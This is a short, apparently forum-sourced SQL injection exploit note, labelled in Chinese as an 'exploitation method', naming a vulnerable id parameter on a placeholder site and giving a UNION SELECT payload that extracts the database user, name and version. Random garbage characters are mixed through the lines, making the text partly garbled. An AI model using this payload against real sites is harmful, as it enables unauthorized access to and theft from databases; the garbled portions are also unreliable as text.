利用方法:. I: w% a% g, R# G
http://www.xxx.com/index.php?id=[SQL]& w. H0 y- @& \6 r( V4 }- n
Demo:
# | c+ K. L- w# W5 u7 M- R http://www.xxx.com/index.php?id=-1' UNION SELECT 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,11,12,13--+ |